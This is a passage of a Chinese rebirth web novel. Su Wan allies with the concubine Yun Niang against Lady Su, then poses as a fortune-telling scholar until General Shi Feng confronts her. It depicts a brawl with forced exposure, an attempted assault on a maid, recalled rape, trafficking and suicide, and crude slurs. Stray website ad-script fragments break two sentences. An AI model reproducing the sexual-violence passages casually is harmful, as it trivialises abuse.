可怜苏尽欢捂着脸颊,一脸茫然,完全搞不清楚状况,咧嘴哭道:“我有什么错?” 他四处环顾,见苏绾立在一旁,找到出气口,拖着长腔骂道:“你这娼妓不知好歹……惹恼娘亲,害我跟着受罪。你等着吧,早晚将你卖到行院当使唤丫头……给青凤端洗脚水。” 醉言醉语不堪入耳,小厮赶紧扶着苏尽欢,踉跄离开。 大厅人群散去,苏绾扶起芸娘,“你可还好?犯不着同无礼之人计较。” 芸娘翻身盘腿坐地,拍击胸口,咳了两声道:“不过被人捶了几下,不痛不痒。这点跌打损伤算个球,老娘也是窝子里摸爬滚打出来的,什么风浪没见过?他们忒不讲江湖规矩,七八个人打我一个,纵是孙猴儿也难翻盘。” 她仔细端详苏绾,“你可是苏家二小姐?我听老爷提起过你,说你是块烂木头,当不得正房梁,我还道你是没主意的庸人,想不到竟是这般口舌伶俐。” 苏绾捋起额间散乱青丝,嘴角噙着苦笑,“我也是迫不得已,寄人篱下,偷合苟容。这个家里,日日风雨交加,性子太冲容易吃亏,凡事还当软着些。” 芸娘苍白手指捂殷红面颊,感叹道:“你当我不晓得,人在屋檐下,不得不低头。我倒不争那独屋独栋的宅院,实在是被逼到绝路。他们将我赶到下人房住,从我手里夺走宝哥儿,送到乳娘那里,再不让我见他。宝哥儿是我的命根子,我岂能撒手不管?这才闹起来,害得姑娘跟着受苦。” 苏绾进苏家时已八岁,未能同娘亲骨肉暌离,但她深深理解芸娘的难处。她叹口气道:“好在你懂些拳脚防身,顶多遭人骂两句难听的,不至于被打得鼻青脸肿的地步。对了,你哪里学来的功夫?比划起来,着实唬人哩。” 芸娘灿然笑道:“那是当然,女大虫说得没错,我可是庄子里的通天小霸王,就没有我斗不过的牛。” “等等,”她忽然意识到不对劲,“怎地,你的意思是,她们敢打你?反了天了!你一个官宦人家的千金小姐,如何被人这样欺负!” 握紧苏绾的手,芸娘坚定道:“你我相识一场,今日多亏你搭救,我才没被女大虫扔进地窖。救命之恩,难以报答。今后有我撑着你,管保不让任何人动你一根手指头。” 芸娘出身佃户农家,家里种几亩薄地,日子还算过得去。她嫁给苏君识,也是怀争名夺利的心,希冀为孩儿挣前途。苏绾对她有愧于心,又觉得芸娘境遇与她娘相似,同命相怜。两人促膝深谈半夜,这才依依不舍分开。 * 无霜吹熄一豆烛火,这才敢凑近苏绾床前,掀开床帏试问:“小姐可曾得手?” “东西被人拿走了。”苏绾淡淡答道。 待了解实情,无霜绝望道:“小姐还是放手吧,他今日要拿小姐进大牢,明日就会取人性命。那样一个浑不吝,躲还来不及,何苦再去招惹他?” 苏绾背对无霜,终沉默无语。 上一世,纳征之后,温如初抓住苏沅芷陷害的把柄,以苏家不安全的名义,七月份早早办婚宴,将苏绾娶进门。 洞房花烛夜,苏绾怀揣梦想成真的喜悦,羞涩等待新婚丈夫。 盖帘掀开,如意郎君满面春风,桃花眼眸弯了弯,“绾绾,你可愿为我做件事?” 苏绾满眼泛漾爱意,“绾绾愿意为念哥哥做任何事。” “很好。”温如初抚了抚她的额顶。 转眼吩咐随从,将苏绾堵嘴捆绑,连夜送至阁老床榻。 从此,苏绾的梦,连同她的心,一同破碎,陷进泥淖,万物同尘。 盛夏晚晴天,圆月高悬。 苏绾拖着支离破碎的身体,带着无穷无尽的绝望,纵身跃入北海。 混沌初开,一点光亮指引。 耳边响起靡靡之音:“你要好好地活下去。” 她跟着喃喃自语。 靠着这点光亮,她努力泅渡生命彼岸。 睁开眼,望见恶鬼,似笑非笑,“绾绾,你竟敢私自逃离我的身边,真是不乖。” 苏绾又闭上眼。 12. 乳娘 苏绾出师不利,未曾拿回母亲遗物,还反遭时枫一通羞辱胁迫,越加感叹形势危急。 恰巧温如初得了消息,借口恭贺苏君识新娶姨娘,登门造访,旁敲侧击。又以纳征之日苏沅芷所作所为相威胁,不但将婚期成功提至九月初八霜降,还向苏夫人处得了口头保证,明春赴杭州监察春茶征收,殷布政使必将全力支持。 上一世,温如初出差杭州任巡抚之时,趁机勾结海寇,霸占漕运税收,所得银钱,一半奉送阁老,另一半中饱私囊。殷潜忙前忙后打点,未捞得半点油水,一气之下告上朝廷,却被温如初反手一个栽赃嫁祸,导致官败落狱。苏家被他一招“吃里扒外”彻底打垮,从此再无起色。 过往云烟,于苏绾重生之人,无关紧要。然而距离九月初八,不足半年,再难筹谋划策。 摆在苏绾面前,唯有一条路:逃婚。 茫茫天涯路,要她逃去何方?即便有路可走,身边也无足够盘缠,连京城都离不得太远。 * 过了几日,正是初夏燥热时,鸣蝉聒暮景。忽听惊天哀号划破苍穹,打破苏府宁静致远。 “杀人啦,救命呀!” 只见芸娘手里扯着一位妙龄少妇,堆鸦发髻已被她十指薅乱,乌黑长发披散,脸上胭脂也被抓挠一道道,好似破脸山茶花。那少妇身形略小,被芸娘胳膊牢牢钳制,竟无法动弹,口中直呼救命。 “天杀的小婊子,贼喊捉贼,杀人凶手不就是你?” 芸娘果然佃户出身,身手敏捷,她翻身一纵,稳稳骑上少妇身,坐在柔软腹部,一手反擎她双臂,另一手抡圆胳膊扇她耳光,虎虎生风。 那少妇痛得狠了,有一嘴没一嘴谩骂,“贱婢”,“杂碎”的乱喊。 “入你娘的,敢碰老娘的宝贝儿子,我杀你全家。” 詈骂声招引阖府奴仆,天井院落聚集数十人,拉扯劝架,禀告家主,怀抱婴孩,众人忙乱不堪。 芸娘尤嫌不过瘾,两手胡乱一抓,扯开少妇胸前衣襟,明晃晃的闪眼,嘴里叫道:“横着长俩肉头就为勾搭男人是吧?舍不得给宝哥儿吃奶,留着喂男人。” 十指掐紧,汁液四溢,场景不堪入目。围观男丁大饱眼福,伸长脖颈驻足观望。苏家嫡子苏尽欢瞪圆眼,目露霪心,看得不亦乐乎,一副垂涎欲滴的猥亵模样。 恰逢苏君识外出执行公务,家里没有主心骨,芸娘胡闹半日,也无人出来喝止。苏夫人本不愿管理鸡毛蒜皮琐碎事,况且她对乳娘的德行有所耳闻,不过睁只眼闭只眼。嬷嬷急急通报数次,苏夫人拗不过,勉强出面调停。 好不容易分开两人,芸娘疯扯嗓子,嘶心裂肺叫道:“乳娘害死宝哥儿,官老爷快来救我。” 原来,一切皆源自于宝哥儿。说来也怪,宝哥儿向来吃母乳好好的,一日四顿,缺一不少。今朝换了乳娘,任凭人如何逗劝,竟不肯再吮一口。 他既不肯吃乳,乳娘不甘心丢了进项,便拿米汤应付了事,又恐孩儿夜半饿啼,掺了些安神药。七八日下来,宝儿哥饿得萎蔫不振,整日昏睡不醒,也不怎么哭闹。 芸娘思念成疾,不闻小儿哭啼,还以为宝哥儿背叛她,所谓“有奶便是娘”。她悄悄扒窗户偷窥,惊见喂药一幕,遂勃然大怒,撒泼打滚哭喊“乳娘杀人啦”。 苏夫人苫眼铺眉,阴阳怪气道:“你的孩子不吃奶,不喂米汤,难道叫他饿死不成?至于那安神药,乳娘无非想让孩子睡得安稳些,你竟反咬一口,诬陷好人心。” 芸娘不善言辞诡辩,被逼急了,只会蹦粗口,“臊你娘睡得安稳,老娘给你捏鼻子灌一锅安神汤,看你赶着去见明日的太阳,还是阴间的阎王。” 此话一出,苏夫人立即甩脸子,“家养的贱妾,竟敢骂到我头上。来人呐,给我打二十板子。” 芸娘嫁入苏家之时,曾一战成名。众婆子畏畏缩缩,无人敢上前。管家嬷嬷一声喝令:“夫人有令,拿下姨娘,谁敢不从?” 婆子们手握三尺木板,相互簇拥着,颤颤巍巍挤上前,不出所料,被芸娘一招“扫荡腿”,悉数拿下。 苏夫人大怒:“反了天了,苏家出了祸害,立即报官!”即差人去县衙报案。 一听苏夫人要报官,自己原告成被告,不知怎地,芸娘先怂了。 精气神瞬间萎靡,“要报官,也先等老爷回来啊。倘若你们敢私自拿我,老爷绝不会放过你们。”抬眼四处寻找苏绾求救。 苏绾冷眼睇了半日,方看出这是苏夫人设计的一出“瓮中捉鳖”。趁苏君识不在家,她联合乳娘设下毒计,引芸娘上钩,预料芸娘反抗,再以忤逆罪名拿下。 此招又不比之前,苏夫人主动去县衙报案,也不怕被查。安神汤与米汤,本就无毒,且有滋补功效,用在小儿身上无可厚非,旁人也挑不出毛病。 “且慢。” 苏绾急上前来,拦挡住芸娘。 “小儿挑食无法,唯亲娘乳得喂之。亲娘就在眼前,何苦非逼孩子喝米汤。倘若宝哥儿喂瘦了,传出去叫人笑话,说母亲不会养孩子。若被那别有用心之人听了去,污蔑母亲虐待妾生子女,落得善妒的污名,母亲恐颜面扫地。” 苏夫人眯着丹凤眼,两手一挥,“管她们嚼舌根去,我行得正坐得直,其心昭昭对得起日月。有何可惧?难不成你胳膊肘往外拐,卖了我们苏家不成?别忘记祖宗姓名!” “母亲,请听我说。” 苏绾沉眉道:“女儿前日拜谒佛寺的住持,言及西方佛陀涅槃,弑杀佛母大孔雀明王,方得重生。 我观住持若有所思,便求他密语解签。住持曰:‘苏家佛光新诞,当为灵童转世‘。 我再追问之,住持又曰:‘灵童命运多舛,生来克母,须命硬灵体方能承受。‘。 我思来想去,家中新生儿唯有宝哥儿,想来说的就是他。我又问:‘谁人为命硬灵体?‘ 住持曰:‘粗鄙乡野村妇,命带煞星,可抵克服‘。 我又问:‘若要逆天而行,强行养育灵童,会有何后果?’ 住持曰:‘灵童克母,命弱女子抚养,则反噬女子所出,男□□,女守寡。’ 我想想也是,母亲富贵人家,天妒英才,怎堪命煞?我正誊抄《地藏经》,未表女儿乌鸟私情,愿以母亲之名,向佛祖祈福,替母亲挣德行。” 苏绾一番言论,唬得苏夫人心惊肉跳,她倒不相信什么狗屁灵童克母——但她相信因果报应。佛家讲究因缘际会,善有善报,恶有恶报。她心里揣的何种心思,她自己清楚。 不让芸娘见孩子,是她最本初的恶意。身为人母,她深知把孩子从母亲手里夺走,会是怎样的剜心苦楚。她担心,自己逆举触怒天威,向苏家降下灾祸,她要遭报应。 倘若报应降到她头上,她是不怕的,横竖都是死——她怕的是她的孩子受连累。想想真是可笑,她费尽心思夺走别人的孩子,到头来却害死自己骨肉至亲。 苏夫人抖抖衣袖,脸带鄙夷之色,“满嘴胡言乱语,用得着你教我,我不懂这道理?谁要夺走她的孩子?她自个儿生的,到哪里都是孩子亲娘,还能强塞给别人不成?” 单凤眼瞥了眼乳娘,苏夫人道:“乳娘居心不良,伤害我苏家子嗣,当罚银二十两,掌嘴二十,驱逐出门。” 苏绾道:“乳娘固然有错,念在初犯,尚可原谅。罚银即可,掌嘴驱逐应免除。” 她留下乳娘,另有所图。 苏夫人心里纳罕,恨苏绾不按套路出牌,然她也懒得计较,嗤笑道:“软弱心肠,难成大器。” 事后,芸娘趴在闺房床铺,哀怨道:“女大虫混淆是非,一句误会了事,真是气煞我也。” 苏绾叹口气,“夫人爱面子,你让她当众下不来台,她杀了你的心都有。对付这种人,就好比乡下养驴子,你得顺着它,哄着它,它才能为你所用,替你拉磨干活。而今赢得第一步,宝哥儿不是夺回来了吗?剩下的恩怨,慢慢算账,莫急。” 芸娘啐了一口,“最坏的就是乳娘,便宜了那小贱蹄子,心都是黑的。你为何还要留着她?” 苏绾沉眉道:“得饶人处且饶人。乳娘不过懒散些,也无害人之心。而且,她只是小喽啰,真正的幕后指使,是夫人。” 遂将苏夫人与乳娘联合设计陷害芸娘一事,抖落出来。 “你聪颖睿智,怎得看不出如此愚拙的陷阱?真要拿你去见官,你也不该怕他们。” 芸娘杏眼圆睁,突然心虚地低下头,小声道:“我这不是‘遇儿则心乱’嘛,若换做别的事情,准保不怕女大虫。” 她眼珠转了转,翘指称赞:“你爹还真小看你,怎能说你是烂木头,什么‘朽木不可雕也‘,我看都是放屁,分明是千古难遇可造之材。” 苏绾“噗嗤”一笑,“还千古难遇,原来我是木头成精了。” 芸娘拉住苏绾胳膊,央求道:“那你说说看,咱们怎样才能灭了那女大虫的威风,教她不敢再欺负我。”又恐苏绾推脱,“我绝不会叫你白出力气,你帮我办成这件事,我给你拿一千两。” 惊得苏绾直咋舌,“你哪来那么多银子?” 芸娘迤迤然笑了,娥眉舒展,朱唇一点桃花 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 殷,“你以为我大好年华,白嫁给你爹那老不死?还不是贪图他那几个大子儿?女大虫抢我进门,那老东西屁都不敢放一个,我也没埋怨他,趁机敲诈他几千,他给得心甘情愿。” 苏绾抿嘴笑道:“你少跟我假客气,我收你银子丧良心。不过你这弄钱的本事倒是高明,我要跟你学一学。” 芸娘奇道:“你不是马上嫁给温侍郎,做人家正头妻子,将来没准还能封诰命夫人,死后配享太庙,享不尽泼天富贵。还学什么捞钱的本领,巴结你的人排成行,拼着命地给你送钱花。” 苏绾笑得直不起腰,“我活得好好,怎么就咒我死,还配享太庙,你忒看得起我。在这家里头,我拿例银还要看人脸色,出阁嫁人连嫁妆都没有,嫁过去一样受气,这里面的苦只有自己知道。” 一席话勾起芸娘怜悯之心,她擎着苏绾的手,悲凉道:“苦了你了,我虽只比你大一岁,但好歹落个姨娘身份,等你出嫁之日,我给你置办嫁妆。多了没有,打副床架箱柜,添几床被褥的银子,还是有的。” 苏绾摆手笑道:“这些面上的银子,无须你替我操心,我就说这个理儿,我不要你的钱。” 芸娘思了一瞬,忽然恍然大悟,一拍苏绾后背,“这点鸡毛蒜皮小事,竟难倒老苏家的栋梁之才,说出去被人笑掉大牙。活人怎能让尿憋死,我给你出个主意,可解你尿急。” 她的村话向来有趣,让苏绾忍俊不已,“何法解我尿急?” 芸娘顺手抄起案前一卷佛经,明眸狡黠一闪,“为拿住乳娘和女大虫,你嘴里叽里呱啦说一通,什么佛陀灵童的,讲得头头是道,比之村东头的算命先生差不离。索性在天桥下面摆一摊,给人算命看相卜卦,专挑吉祥话讲,老少通吃,保准你财源滚滚来。” 说着,芸娘学起瞎子算命,闭上眼睛煞有介事给苏绾摸骨,演得活灵活现。 苏绾被她抓得身痒痒,一边躲一边笑,“大庭广众,叫我一姑娘家怎么好意思睁眼说瞎话,骗人钱财嘛。” 芸娘停住摸骨的手,假嗔道:“你呀,聪明一世,糊涂一时。姑娘不能抛头露面,公子总可以吧。” 公子?有道理。 既无解除婚约可能,不如想办法攒一笔路费,大不了婚前跑路。 段公子当重出江湖。 二人如此合计一番,包括以何种借口,逃离门禁外出,这也难不住芸娘,翻墙爬树的本领不在话下。只是略微苦了苏绾,千金柔弱小姐哪里干得来这种事。好在苏绾十分坚强,两人跑到偏院矮墙,偷偷苦练数回合,苏绾已能抓住技巧,踩着墙缝缓慢爬行。 苏绾练得满头大汗,回到闺房喊无霜打水洗澡,半天却等不到回应。 苏绾有些纳闷,冲到后屋一看,黑灯瞎火,无霜一个人望着窗外的树影发呆。 苏绾不悦,耍起小性,“霜儿,你耳朵聋啦?叫你几次都不答应。” 无霜愣了半天,无声地转过头,脸颊挂着两流清泪,“霜儿知错了。” 苏绾一惊,忙问她怎么了。 无霜抽抽搭搭叙述,白日里她去账房领取例银,恰逢芸娘与乳娘天井厮打,苏夫人现场断案,唬得无霜胆战心惊。 后来见苏绾已控制局面,无霜心下方安定。转头才想起自己的差事未办,慌慌张张离开,没走几步,一头撞进苏家嫡子苏尽欢怀里。 “瞎了你的狗眼。”苏尽欢骂道。 无霜浑身颤抖,哆哆嗦嗦道歉。她自小就害怕苏尽欢,总觉得大少爷小小年纪,长着一双邪恶的眼睛。 果不其然,苏尽欢睇了她一个来回,不知怎地,霪心四起。上前一个虎扑,擒住无霜两臂,就往厢房里拖。 无霜哭喊救命,拼命挣扎,然而无济于事,附近只有苏尽欢的狗腿家奴。 该着无霜命不该绝,恰巧赶上苏家总管路过。管家治理苏宅向来一丝不苟,绝不允许家宅闹出强迫婢女事件,势必向家主告发。 门外小厮清咳数声,苏尽欢这才不得不抽身,匆匆逃离现场。临走时,苏尽欢啐了一口,“小娼妇,别想着逃出我的手掌心,老子早晚办了你。” 无霜披头散发,衣衫不整,跌跌撞撞奔回住处。虎口脱险,呆立两个时辰,依旧惊魂未定。 “小姐,咱们一起逃走吧,越快越好。再迟些,霜儿恐怕就要没命了。” 苏绾心在滴血。上一世,趁她被温如初掳进皇宫时,苏尽欢□□无霜,将她卖给最下等的窑子做窑姐,伺候粗鄙匪盗之流,导致下身溃烂流脓。无霜不堪凌辱,上吊自尽。 历史,究竟能不能重写? 13. 扶乩 四月柳条空老碧,集市车水马龙,游人如织。 天桥底下,白衣书生倚案而坐,摆放檀香炉、笔墨纸砚等物。案前两帐旗幡,上书一副对联:知人知面知运命,算天算地算古今。 那白衣书生一脸俊俏痴情相,举手投足自带风流,引得过往女眷频频回眸。书生无事日长贫不易,闲来折扇轻摇,扶乩看相断人生。 许是白衣书生头一遭出门,不懂得做生意须吆喝的道理。往来行人络绎不绝,日上三竿竟无一人过问。白衣书生收拢折扇,摇头慨叹命运不济。 “先生,可否为妾扶乩卜卦?” 忽然耳边娇声响起,书生一惊,抬头望去,窈窕妇人扶手而立。身穿青罗曳裙,头戴明月金钗,眉眼弯弯带笑,似一朵路边野花发葳蕤。 书生忙坐正身子,“夫人欲算何事?” 妇人莲步上前,笑道:“不瞒先生说,妾乃京中苏郎中家新过门的姨娘,大名唤作‘芸娘‘。妾听闻先生鬼谷子再世,灵妙绝伦。特来求先生算一算,我家老爷近来运势。” 书生认真听完叙述,“可以。” 只见他起手拾起香压,拨弄香炉炉灰,低首沉吟: “ 鼻观妙悟,心静神闲。 炉烟匪是,香光庄严。 ” 书生掏出一卷香篆,轻覆雕盘击开,星星微火徘徊。观香烟袅袅,还同物理人间事,历尽崎岖心始灰。 “苏郎中正当壮年,四十不惑,官运坎坷,命运不佳。” 芸娘大惊,“真真厄运,能否破解?” 书生抬起额首,望着芸娘眼眸,“死生有命,富贵在天。岂能任意干涉?” 芸娘不依,恳求道:“先生既能勘破天机,定有破解妙法,还请先生出手相助,芸娘绝不会亏待先生。” 书生拗不过她,轻叹口气,“我夜观星象,知京中起大事,可教苏郎中上本,为京卫指挥使请功,则圣上必大赏。” 芸娘如释重负,“多谢先生指点。” 过了两日,书生又来摆摊,一如既往地萧条。才刚坐下,芸娘大老远摇曳走来,惊呼:“托先生妙口吉言,真真灵验也。” 啪嗒,五十两雪花白银摔在案上。 芸娘喜道:“先生神机妙算,芸娘三生有幸。小小谢礼,先生勿要推脱。” 不日前,新任三品京卫指挥使时枫,经过调查暗访,英勇俘获前任指挥使卖官鬻爵一案间谍余党,圣上大悦,御赐封号‘不世出卫将军’。 五品吏部郎中苏君识,提前上本夸赞指挥使有勇有谋,大力推荐保举贤才。拍马屁拍中正题,沾了时枫的光,不但官升一级,获圣上口头嘉奖“慧眼识珠”,还得半年额外薪俸赏赐。 此事能成,皆归功于芸娘,她自称算了一卦,赌咒发誓灵验,晚间使劲吹枕头风,说动苏君识上本,结果赌中头彩。 苏君识高兴之余,特意为芸娘置办一桌“庆功宴”,册封芸娘“贤内助”。席间推杯换盏,兜里又被忽悠敲诈一千两。 如今举府上下,都为苏老爷升迁之喜庆贺。谁都不敢小觑新姨娘,府内皆传言,二奶奶具有旺夫旺家相。 书生并不看银子,依旧埋首写字帖,轻描淡写道:“夫人高兴就好。” 至此,白衣书生以一炉香灰一战成名,成为京城家喻户晓的“活神仙”。绅士名流家的夫人千金,都要专门来问上一卦,占卜吉凶。每日来往香客络绎不绝,长龙排出二里地。 白衣书生不负众望,经他提点的商铺,总能抓住商机,生意兴隆,财源广进。达官贵人家的太太们,每每踩在流行浪尖,衣着打扮新潮又高贵。 夕阳浮水共东流,书生结束一天的辛苦问卦,收拾东西准备回家。 挎上背包,踩着落日余晖,悠然走过石墩拱桥,拐进巷口。丝毫未曾注意,高大梧桐树后,隐匿站立的一抹凉薄暗影。 窄巷幽暗,深不见底,两旁挤满雪白泥墙,好似扑面而来的卫兵,将罪犯逼入角落。 书生抬袖障袂,拭去额首细汗,抓紧包袱,步伐加快。转入拐角之际,身后突然响起人声,书生瞬间寒毛直竖,全身冷汗倒流。 “怎么回来这样晚?害我站在巷子口,巴巴吹一个时辰的冷风!”女子声音充满怨怼。 书生闻言一顿,转身赔笑道:“生意太好,我都忙不过来。不得不推掉商铺王老板,还有镖局郑镖头等好几宗买卖呢。” 一道残阳适时照进窄巷,映射书生眉眼几许柔媚。他起手卸下纶巾,露出一头乌黑秀发,原来端地是女儿身。 芸娘倚靠墙壁,冷笑道:“如今是不用你再做翻墙的营生了,打着求神拜佛保佑灵童的名义,光明正大地从正门出入,只是,也没有拜一整日的道理,回头一准被女大虫教训。” 苏绾解开包袱,取出襦裙绣鞋,动作麻利穿戴整齐,“夫人那边交给我处理。再许我两日,就干这一票,攒够三千两我见好就收。京城商家如此好骗,随便忽悠几句,乖乖地排队奉上银两。你这个挣钱的法子,还真好用。” 芸娘挽住苏绾胳膊,奇道:“是你苏二小姐本事通天,不怪他们傻。我就纳闷了,你怎么知道,那个什么指挥使的要立功?” 苏绾眨了眨眼眸,低声道:“我从小在京城长大,结识不少朝中政客家的女眷,听得茶余饭后的谈资,正好拿来卖弄,不过道听途说罢了。” 芸娘翘指称赞道:“我真开眼了,你这招‘一石三鸟‘很是厉害,其一老爷升官发财,其二我大赚一笔,其三你生意兴隆。这下子,除了女大虫吃瘪,全家乐哈哈。” 苏绾但笑不语,她本来也没把握,京城指挥使受封卫将军一事会如期发生,毕竟只是前世耳濡目染的一桩新闻罢了。 既然它照旧发生,是否意味着前世所有事件,今生都会一一实现,所谓天命不可违? 夕阳浮水共东流,苏绾同芸娘手牵手回到苏家,不出所料,被看门刘嬷嬷拿住,训斥不停。 “二奶奶初来乍到,不懂规矩也就罢了。二小姐来我苏家十年,竟还是这般不听劝诫。老奴少不了要知会夫人一声,否则人人都学二小姐,出门迟归说不出缘由,叫老奴如何在这家里立规矩。” 苏绾欲拿银子买通刘嬷嬷,谁知却被芸娘按住手腕,示意她勿动。 芸娘上前一步,掐腰指着嬷嬷鼻尖骂道:“怎么着,还想敲诈我?你算哪棵老葱,敢在我面前大呼小叫,夫人没教你规矩?我同阿绾出门办事,是得了老爷允许的,用得着跟你这奴才报备?想瞎你的黑心。” 芸娘因点拨家主有功,成为苏府的红人,下人都不敢造次。她也顺势挺起腰板,隔三差五跟下人吵架,每每都是得胜而归。 刘嬷嬷见芸娘语气强硬,气场顿时矮了半截,赔笑道:“老奴不敢。既是老爷准许,那就没事了。老奴也是按规矩办事,还请二奶奶多多担待。” 芸娘“哼”得一声,拉起苏绾衣襟,得意地从刘嬷嬷身边跨门而入。 苏绾悄悄赞道:“你这一骂,省去我二十两。” 芸娘笑道:“我就是个不长眼的乡下人,不懂城里这套尊卑有序规矩。我单知道,对付这种狗眼看人低的老货,不必跟她客气,祖宗十八代问候一遍,保准她不敢再惹你。” 苏绾比出大拇指,“你这招‘硬碰硬‘,才是让我开了眼。” 二人刻意绕过厅堂,彼时苏夫人正有一遭没一遭教训苏尽欢,嗔他骗取自己一千两,拿去春月坊买断头牌,这家里一个一个的,全被狐狸精迷瞎眼。她指桑骂槐,恨不得耳提面命,耍够正头夫人的威风。 苏尽欢也是委屈,明明苏夫人亲自许他银子,却反咬一口不认账,况且,他连青凤的小手都没摸到,怎么能叫狐狸精迷眼?实在冤枉!那一千两,早被宝蟾哄走买首饰了,哪里还能吐的出来。 旁边坐着苏君识更是一脸茫然,儿子召妓,关他老子什么事?他可是呕心沥血为家里倾献所有,连皇帝都夸赞他“公正明智”,乃国之栋梁。今番不比昨日,男儿扬眉吐气,称意得如此。仗着如此,也不忌惮苏夫人,反帮着儿子回 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘴。 苏绾观他三人行径,心里暗自冷笑。苏家打从根儿上,就已腐烂堕落。无须她出手,狗咬狗一嘴毛。彼此互生怨怼。 堂内烛火摇曳,半明半暗,映照三人惨白嘴脸,好似皮影戏人偶,恐怖如鬼魅。 次日,苏绾仍旧扯谎,讲她要去佛堂抄经,替“灵童”超度众生。芸娘因前日窄巷里干等俩时辰,打定主意晚去一会。 她坐在杌凳,葱指擎着烛台,砸核桃仁吃,嘴里含糊道:“你已出师,睁眼说瞎话本事通天厉害,我自不必再操心。然而凡事莫要逞强,遇见那不好惹的硬骨头,千万别跟他硬碰硬。所谓‘枪打出头鸟,刀砍地头蛇‘。” 苏绾取来蝠纹香椽,装入包裹,“你瞧瞧,这才来了几日,混得比猴儿还精。我能惹出什么事情来,不过看人脸色顺其心意说。既不要骗他倾家荡产,也不想害人性命,谁会砍我啊。” “呜……”芸娘塞满嘴核桃仁,来不及回嘴。 苏绾又说道:“我记住了,你且放心。若我果真出事故,这个吃人的家里没人在乎我死活,你须派人送信给温侍郎方可。” 芸娘快速咀嚼核桃渣,囫囵咽下,拍着胸脯急道:“还是姑爷靠谱。但我听说,六部衙门坐落皇庭境内,平民老百姓长几个脑袋,胆敢擅闯皇城?” 苏绾收拾包裹,沉声道:“叫文竹去,准能进入皇宫递送口信。” 文竹有本事进宫? 待芸娘还想多问几句,苏绾已飘出门外。芸娘转身望向无霜,看到一张忧心忡忡的小脸。无霜咬了咬嘴唇,“文竹他……跟宫里的人打过交道。” 街市繁芜,人潮熙来攘往。 苏绾一身白衣,羽扇纶巾,扮作书生少年郎模样,一板一眼坐在天桥下面替人算命。 正值晌午,日头毒辣。 一滴汗水倾落,坠入香炉灰烬,激起灰屑乱飘。书生抬起衣袖,轻轻拭汗。 “啊——” 须臾间,忽听路口一声惨叫,伴随马蹄嘶鸣。紧接着,阵阵哭声此起彼伏,夹杂士兵呵斥声不断。 百姓翘首张望,很快,事情始末传到天桥边。 原来,街角一辆疾行马车撞倒路人,可怜那人满脸血污,当即一命呜呼,身边妻儿老小死的死,伤的伤,悲恸哭嚎不绝。 你道那倒霉之人是谁?不就是连锁商铺大户王老板。不知他怎么想的,艳阳天全家步行出游,竟没按照惯例租辆马车。 命运不济,百姓接连慨叹。 本是寻常事,不足为奇,这边书生却是吃惊不小。眼珠瞪圆,嘴巴张开,一脸震惊。两手撑在案边,浑身瑟瑟发抖。 问卦客人不解其意,纷纷问候书生身体安康。书生无力摇了摇手。 前日王老板为生意前景卜卦,彼时苏绾急于归家,欲随便说两句打发他了事。待王老板一屁股坐定,报上姓名来历,苏绾方忆起前世一桩事。 前世同年四月某日,市集临街发生一桩惨案。一家老小乘车出游,行至天桥中央,马儿莫名受惊,车厢倾覆翻倒落水,溺毙者正是连锁商铺王老板及其亲眷。因其死状惨烈,百姓口口相传,令苏绾印象深刻。 眼前王老板大活人,举止憨厚态度诚恳。苏绾不忍生命无端消逝,遂提醒他:“出游莫乘马车,大凶。” 她以为自己宅心仁厚,救他人一命,胜造七级浮屠。谁知上天狠狠甩了她一巴掌,听劝的王老板放弃乘坐马车,结果不过是换种方式殒命。 所谓天命难违。 王老板难逃命运之神掌控,她苏绾更加逃不过厄运。活人怎能同死神抗争? 逃婚?如何逃?逃去哪里? 所有的问题都无解,她注定重蹈覆辙,复刻前世的悲剧人生。 白衣书生捂住胸口,强忍心内绞痛,挥手打发剩余客人,默默收拾东西,准备提早收摊。 忽然眼前一暗,一堵黑墙从天而降,带着万年集结阴森寒气,烈日炎炎,却仿佛置身冰狱。 “骗取钱财,害人性命,当凌迟处死。” 14. 逮捕 晌午时分,火伞高张,烈日灼心。 苏绾抬起螓首,正撞见一双冰冷阴鸷双眸,眸底泛出淡淡恨意,又夹杂微微嘲讽。刹那间眼神碰撞,犹如一道霹雳猝发,穿透层层障障迷雾,直灌入灵台一片清明。 “时将军,我们又见面了。”白衣书生颔首问候,态度谦逊有礼。 男人负着手,居高临下睇着书生,勾唇嘲道:“还在演戏?有什么话,对簿公堂再说罢。” 书生长身玉立,临危不惧,“听闻时将军新近受御赐封号,可喜可贺。然某没有记错的话,京卫指挥使职能,旨在拱卫京师。缉拿罪犯之责,与将军无关。况且,” 他垂下眼眸,“某何罪之有?” 时枫眼神逡巡,不知不觉周遭聚集不少百姓看热闹,闻听黑面将军竟是京卫指挥使,个个激动兴奋。指挥使当街拿人戏码,可比马车撞死人精彩多了。 男人咬了咬牙,牙缝挤出几个字,“谋财害命,证据确凿,容不得你辩解脱罪。” 摩挲束腕镶嵌的绿松石,漫不经心道:“况本将军现另有一桩公案,要拿你作对证,大理寺狱亲自过审,怎会与我无关?” 所谓的“另一桩公案”,指的是春月坊她假扮花娘骗取钱财一事。 苏绾掀眸望向对方,见那匹猎兽正虎视眈眈睇她,浑身杀气腾腾,像要吃人一般。吓得苏绾赶紧收回目光,埋首注视案面翻倒的香炉。 光天化日,朗朗乾坤,叫她如何逃离魔爪。 不经意眼神一瞥,发现躲在人群后面的芸娘,也是一脸焦灼。 苏绾心内有了主意。 “将军张口闭口谋财害命,言之凿凿,可有证据?某不过替人扶乩占卜,抚慰问客愁绪。那求问前途的客人,得我指点迷津,心境清明如镜,再无迷惘愁乱。客人愿重金酬谢,我坦然受之,何错之有?” “至于害命一说,更为无稽之谈。我害死谁人性命?商铺王老板被失控马车撞死,与我何干?这许多人为某做见证,某一颗清白之心,日月可鉴。莫畏强权折腰,我自岿然不动。” 书生一甩衣袖,白色衣襟迎风摆动,大有士人直面兵霸,威武不屈、视死如归之感。 “好样的。” 围观百姓被书生文人气节所感动,接连响起阵阵掌声,叫好声此起彼伏。 演戏演上瘾了,装什么狗屁清高文人。 时枫见惯她操控人心的把戏,听腻她那套歪理邪说。早在苏绾逃离春月坊那日,他便四下布置眼线,调查她的底细。然而苏绾躲进苏家十几日未出门,他也没得机会捉拿她。 而后一段时间,他忙于处理三哥事件,重回春月坊,从宝蟾嘴里套取实质证据。在三哥与奸细暗地交易时刻,重兵埋伏将其一举拿下,彻底拔除前京卫指挥使勾结藩王、卖官鬻爵的残党余孽,得圣上嘉奖赐封。 